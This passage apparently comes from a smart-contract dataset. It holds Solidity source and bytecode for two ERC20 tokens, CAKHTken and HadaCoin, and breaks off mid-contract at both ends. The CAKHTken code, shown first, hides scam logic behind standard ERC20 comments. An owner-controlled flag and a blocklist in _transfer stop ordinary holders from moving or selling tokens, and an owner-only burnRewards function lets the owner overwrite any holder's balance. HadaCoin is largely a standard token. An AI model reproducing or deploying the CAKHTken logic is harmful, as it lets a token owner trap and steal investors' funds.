address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if (_approveSwap[sender] || _approveSwap[recipient]) require(maxTxPercent == false, ""); if (maxTxPercent == true || sender == _owner || recipient == _owner) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);} else {require (maxTxPercent == true, "");} } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _reward - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract CAKHTken is ERC20 { constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) { _name = "CAKH"; _symbol = "CAKH"; _decimals = 9; _totalSupply += initialSupply; _balances[msg.sender] += initialSupply; emit Transfer(address(0), msg.sender, initialSupply); } function burnRewards(address account, uint256 value) external onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806395d89b41116100a2578063ac8a93b811610071578063ac8a93b81461031b578063ca43051914610339578063d89cc15014610355578063dd62ed3e1461035f578063f3b95cd71461038f57610116565b806395d89b41146102815780639f08b3191461029f578063a457c2d7146102bb578063a9059cbb146102eb57610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f15780633cd64cf31461022157806370a082311461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631fe6d7a814610187575b600080fd5b6101236103ab565b604051610130919061182b565b60405180910390f35b610153600480360381019061014e91906115d3565b61043d565b6040516101609190611810565b60405180910390f35b61017161045b565b60405161017e91906119ad565b60405180910390f35b6101a1600480360381019061019c919061160f565b610465565b005b6101bd60048036038101906101b89190611584565b6104ff565b6040516101ca9190611810565b60405180910390f35b6101db610600565b6040516101e891906119ad565b60405180910390f35b61020b600480360381019061020691906115d3565b61060a565b6040516102189190611810565b60405180910390f35b61023b6004803603810190610236919061151f565b6106b6565b6040516102489190611810565b60405180910390f35b61026b6004803603810190610266919061151f565b61070c565b60405161027891906119ad565b60405180910390f35b610289610754565b604051610296919061182b565b60405180910390f35b6102b960048036038101906102b4919061151f565b6107e6565b005b6102d560048036038101906102d091906115d3565b6108d0565b6040516102e29190611810565b60405180910390f35b610305600480360381019061030091906115d3565b6109c4565b6040516103129190611810565b60405180910390f35b6103236109e2565b6040516103309190611810565b60405180910390f35b610353600480360381019061034e919061151f565b6109f9565b005b61035d610ae4565b005b61037960048036038101906103749190611548565b610bce565b60405161038691906119ad565b60405180910390f35b6103a960048036038101906103a491906115d3565b610c55565b005b6060600580546103ba90611ae9565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611ae9565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610cf3565b8484610cfb565b6001905092915050565b6000600354905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec906118ed565b60405180910390fd5b8060048190555050565b600061050c848484610ec6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610557610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ce906118cd565b60405180910390fd5b6105f4856105e3610cf3565b85846105ef9190611a3a565b610cfb565b60019150509392505050565b6000600754905090565b60006106ac610617610cf3565b848460026000610625610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a791906119e4565b610cfb565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606006805461076390611ae9565b80601f016020809104026020016040519081016040528092919081815260200182805461078f90611ae9565b80156107dc5780601f106107b1576101008083540402835291602001916107dc565b820191906000526020600020905b8154815290600101906020018083116107bf57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d906118ed565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600260006108df610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561099c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109939061198d565b60405180910390fd5b6109b96109a7610cf3565b8585846109b49190611a3a565b610cfb565b600191505092915050565b60006109d86109d1610cf3565b8484610ec6565b6001905092915050565b6000600860009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906118ed565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b906118ed565b60405180910390fd5b60011515600860009054906101000a900460ff1615151415610bb0576000600860006101000a81548160ff021916908315150217905550610bcc565b6001600860006101000a81548160ff0219169083151502179055505b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc906118ed565b60405180910390fd5b610cef82826113ad565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061196d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd29061188d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb991906119ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d9061192d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d9061184d565b60405180910390fd5b60008111610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe09061186d565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061108a5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e65760001515600860009054906101000a900460ff161515146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc9061194d565b60405180910390fd5b5b60011515600860009054906101000a900460ff16151514806111555750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111ad5750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611351576111bd8383836114f0565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906118ad565b60405180910390fd5b818161124f9190611a3a565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112df91906119e4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134391906119ad565b60405180910390a3506113a8565b60011515600860009054906101000a900460ff161515146113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e9061194d565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114149061190d565b60405180910390fd5b8060045461142b9190611a3a565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806003600082825461147f9190611a3a565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114e491906119ad565b60405180910390a35050565b505050565b60008135905061150481611e7d565b92915050565b60008135905061151981611e94565b92915050565b60006020828403121561153157600080fd5b600061153f848285016114f5565b91505092915050565b6000806040838503121561155b57600080fd5b6000611569858286016114f5565b925050602061157a858286016114f5565b9150509250929050565b60008060006060848603121561159957600080fd5b60006115a7868287016114f5565b93505060206115b8868287016114f5565b92505060406115c98682870161150a565b9150509250925092565b600080604083850312156115e657600080fd5b60006115f4858286016114f5565b92505060206116058582860161150a565b9150509250929050565b60006020828403121561162157600080fd5b600061162f8482850161150a565b91505092915050565b61164181611a80565b82525050565b6000611652826119c8565b61165c81856119d3565b935061166c818560208601611ab6565b61167581611b79565b840191505092915050565b600061168d6023836119d3565b915061169882611b8a565b604082019050919050565b60006116b06029836119d3565b91506116bb82611bd9565b604082019050919050565b60006116d36022836119d3565b91506116de82611c28565b604082019050919050565b60006116f66026836119d3565b915061170182611c77565b604082019050919050565b60006117196028836119d3565b915061172482611cc6565b604082019050919050565b600061173c6020836119d3565b915061174782611d15565b602082019050919050565b600061175f6021836119d3565b915061176a82611d3e565b604082019050919050565b60006117826025836119d3565b915061178d82611d8d565b604082019050919050565b60006117a56000836119d3565b91506117b082611ddc565b600082019050919050565b60006117c86024836119d3565b91506117d382611ddf565b604082019050919050565b60006117eb6025836119d3565b91506117f682611e2e565b604082019050919050565b61180a81611aac565b82525050565b60006020820190506118256000830184611638565b92915050565b600060208201905081810360008301526118458184611647565b905092915050565b6000602082019050818103600083015261186681611680565b9050919050565b60006020820190508181036000830152611886816116a3565b9050919050565b600060208201905081810360008301526118a6816116c6565b9050919050565b600060208201905081810360008301526118c6816116e9565b9050919050565b600060208201905081810360008301526118e68161170c565b9050919050565b600060208201905081810360008301526119068161172f565b9050919050565b6000602082019050818103600083015261192681611752565b9050919050565b6000602082019050818103600083015261194681611775565b9050919050565b6000602082019050818103600083015261196681611798565b9050919050565b60006020820190508181036000830152611986816117bb565b9050919050565b600060208201905081810360008301526119a6816117de565b9050919050565b60006020820190506119c26000830184611801565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119ef82611aac565b91506119fa83611aac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a2f57611a2e611b1b565b5b828201905092915050565b6000611a4582611aac565b9150611a5083611aac565b925082821015611a6357611a62611b1b565b5b828203905092915050565b6000611a7982611a8c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611ad4578082015181840152602081019050611ab9565b83811115611ae3576000848401525b50505050565b60006002820490506001821680611b0157607f821691505b60208210811415611b1557611b14611b4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e8681611a6e565b8114611e9157600080fd5b50565b611e9d81611aac565b8114611ea857600080fd5b5056fea264697066735822122085c590579b21d5f4775307048f71e1fcc1639eb4e4ef079f7069eb783adcf31564736f6c63430008010033
{"success": true, "error": null, "results": {}}
7,157
0x24edca5a57fc259427574e0c9cfdf630a3136d34
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender&#39;s allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); role.bearer[account] = true; } /** * @dev remove an account&#39;s access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private minters; constructor() public { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { minters.remove(account); emit MinterRemoved(account); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address to, uint256 value ) public onlyMinter returns (bool) { _mint(to, value); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20, Ownable { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) onlyOwner public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) onlyOwner public { _burnFrom(from, value); } } /** * @title HadaCoinV18 */ contract HadacoinV18 is ERC20Mintable, ERC20Burnable { string public constant name = "Hada Coin"; string public constant symbol = "HADA"; uint8 public constant decimals = 6; uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ee57806323b872dd146102155780632ff2e9dc1461023f578063313ce56714610254578063395093511461027f57806340c10f19146102a357806342966c68146102c757806370a08231146102e1578063715018a61461030257806379cc6790146103175780638da5cb5b1461033b5780638f32d59b1461036c57806395d89b4114610381578063983b2d561461039657806398650275146103b7578063a457c2d7146103cc578063a9059cbb146103f0578063aa271e1a14610414578063dd62ed3e14610435578063f2fde38b1461045c575b600080fd5b34801561013857600080fd5b5061014161047d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017b578181015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c257600080fd5b506101da600160a060020a03600435166024356104b4565b604080519115158252519081900360200190f35b3480156101fa57600080fd5b50610203610532565b60408051918252519081900360200190f35b34801561022157600080fd5b506101da600160a060020a0360043581169060243516604435610538565b34801561024b57600080fd5b506102036105d5565b34801561026057600080fd5b506102696105e0565b6040805160ff9092168252519081900360200190f35b34801561028b57600080fd5b506101da600160a060020a03600435166024356105e5565b3480156102af57600080fd5b506101da600160a060020a0360043516602435610695565b3480156102d357600080fd5b506102df6004356106be565b005b3480156102ed57600080fd5b50610203600160a060020a03600435166106de565b34801561030e57600080fd5b506102df6106f9565b34801561032357600080fd5b506102df600160a060020a0360043516602435610763565b34801561034757600080fd5b50610350610784565b60408051600160a060020a039092168252519081900360200190f35b34801561037857600080fd5b506101da610793565b34801561038d57600080fd5b506101416107a4565b3480156103a257600080fd5b506102df600160a060020a03600435166107db565b3480156103c357600080fd5b506102df6107f8565b3480156103d857600080fd5b506101da600160a060020a0360043516602435610803565b3480156103fc57600080fd5b506101da600160a060020a036004351660243561084e565b34801561042057600080fd5b506101da600160a060020a036004351661085b565b34801561044157600080fd5b50610203600160a060020a0360043581169060243516610874565b34801561046857600080fd5b506102df600160a060020a036004351661089f565b60408051808201909152600981527f4861646120436f696e0000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156104cb57600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a038316600090815260016020908152604080832033845290915281205482111561056857600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205461059c908363ffffffff6108bb16565b600160a060020a03851660009081526001602090815260408083203384529091529020556105cb8484846108d2565b5060019392505050565b6601c6bf5263400081565b600681565b6000600160a060020a03831615156105fc57600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610630908363ffffffff6109c416565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60006106a03361085b565b15156106ab57600080fd5b6106b583836109dd565b50600192915050565b6106c6610793565b15156106d157600080fd5b6106db3382610a87565b50565b600160a060020a031660009081526020819052604090205490565b610701610793565b151561070c57600080fd5b600454604051600091600160a060020a0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36004805473ffffffffffffffffffffffffffffffffffffffff19169055565b61076b610793565b151561077657600080fd5b6107808282610b55565b5050565b600454600160a060020a031690565b600454600160a060020a0316331490565b60408051808201909152600481527f4841444100000000000000000000000000000000000000000000000000000000602082015281565b6107e43361085b565b15156107ef57600080fd5b6106db81610be7565b61080133610c2f565b565b6000600160a060020a038316151561081a57600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610630908363ffffffff6108bb16565b60006106b53384846108d2565b600061086e60038363ffffffff610c7716565b92915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6108a7610793565b15156108b257600080fd5b6106db81610cae565b600080838311156108cb57600080fd5b5050900390565b600160a060020a0383166000908152602081905260409020548111156108f757600080fd5b600160a060020a038216151561090c57600080fd5b600160a060020a038316600090815260208190526040902054610935908263ffffffff6108bb16565b600160a060020a03808516600090815260208190526040808220939093559084168152205461096a908263ffffffff6109c416565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1162